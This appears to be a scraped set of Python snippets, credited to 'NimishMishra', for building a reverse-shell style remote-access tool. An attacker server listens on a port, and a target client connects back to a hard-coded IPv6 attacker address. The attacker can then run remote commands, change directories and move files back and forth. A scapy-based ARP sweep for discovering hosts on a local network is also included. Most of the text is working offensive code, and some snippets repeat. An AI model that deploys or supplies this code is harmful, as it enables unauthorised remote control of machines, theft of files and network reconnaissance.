NimishMishra

def command_handler(target_client):
    data = str(input())
    send_data(data, target_client)

NimishMishra

def run_command(command):

    command = command.rstrip()
    try:
        command.index("cd")
        navigate_directory(command)
        return "Directory changed to: " + str(os.getcwd())
    except:
        pass
    

NimishMishra

def navigate_directory(command):
    destination_directory_path = command[command.index("cd") + 3:]
    print(destination_directory_path)
    os.chdir(destination_directory_path)

NimishMishra

def command_handler(target_client):
    data = str(input())
    try:
        data.index('file')
        file_handler(target_client, data)
        return
    except:
        pass
    send_data(data, target_client)

NimishMishra

def file_handler(target_client, command):
    target_client.send(bytes(command, 'utf-8'))
    acknowledgement = target_client.recv(BUFFER_SIZE)
    if(acknowledgement == b'ACK'):
        pass
    data_splits = command.split(' ')
    mode = data_splits[2]
    if(mode == 'r'):
        receive_data(target_client)
            

NimishMishra

def run_command(command):

    command = command.rstrip()

    try:
        command.index("cd")
        navigate_directory(command)
        return "Directory changed to: " + str(os.getcwd())
    except:
        pass

NimishMishra

def file_handler(command):
    command_splits = command.split(" ")
    if(len(command_splits) > 3):
        return "file command has more than two arguments."
    
    elif(command_splits[0] != 'file'):
        return "incorrect command"
    
    file_name = command_splits[1]
    mode = command_splits[2]

NimishMishra

import socket

BUFFER_SIZE = 1024
attacker_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

# lets the attacker server listen on the specified port number
def attacker_server_binder(hostname, port_number):
    attacker_server.bind((hostname, port_number))
    attacker_server.listen(5)

NimishMishra

target_client = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)

.
.
.

attacker_hostname = "2405:204:a38a:708d:4dfd:c0ac:2ba2:3a06"
attacker_port = 12345

NimishMishra

from scapy.all import *
response = ""
def discovery(dst, time):
    global response
    ethernet_layer = Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_layer = ARP(pdst= dst)
    ans, unans = srp(ethernet_layer/arp_layer, timeout=int(time))

    for sent, received in ans:
        response = response + received[ARP].psrc + " "